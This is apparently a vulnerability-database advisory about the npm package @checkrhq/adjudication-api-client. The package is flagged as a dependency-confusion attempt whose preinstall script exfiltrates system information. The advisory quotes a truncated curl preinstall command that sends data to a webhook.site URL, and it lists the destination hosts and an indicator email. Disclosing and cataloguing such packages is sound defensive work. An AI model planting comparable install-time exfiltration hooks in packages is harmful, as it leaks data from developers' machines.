VDB
GCVE-110-OSM-2026-7373
GCVE-110-OSM-2026-7373
Advisory PublishedCVSS 5.4/10
Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, install-time execution.
ENTRY
- Preinstall Script in package.json: ""preinstall": "curl -s --max-time 5 https://webhook.site/86f836d9-727b-42b9-9068..."
DESTINATION
- custom-c2: checkr.com (primary, plaintext) in package.json
- webhookServices: https://webhook.site/86f836d9-727b-42b9-9068-64e1dbbf0999 (exfil, plaintext)
EXFIL
- OAST/Interactsh Exfiltration in package.json: "webhook.site"
INDICATORS (IOCs)
- emails: muataz.hasan@checkr.com
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
5.4/10
Medium · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | @checkrhq/adjudication-api-client | all (affected) | — |
Aliases
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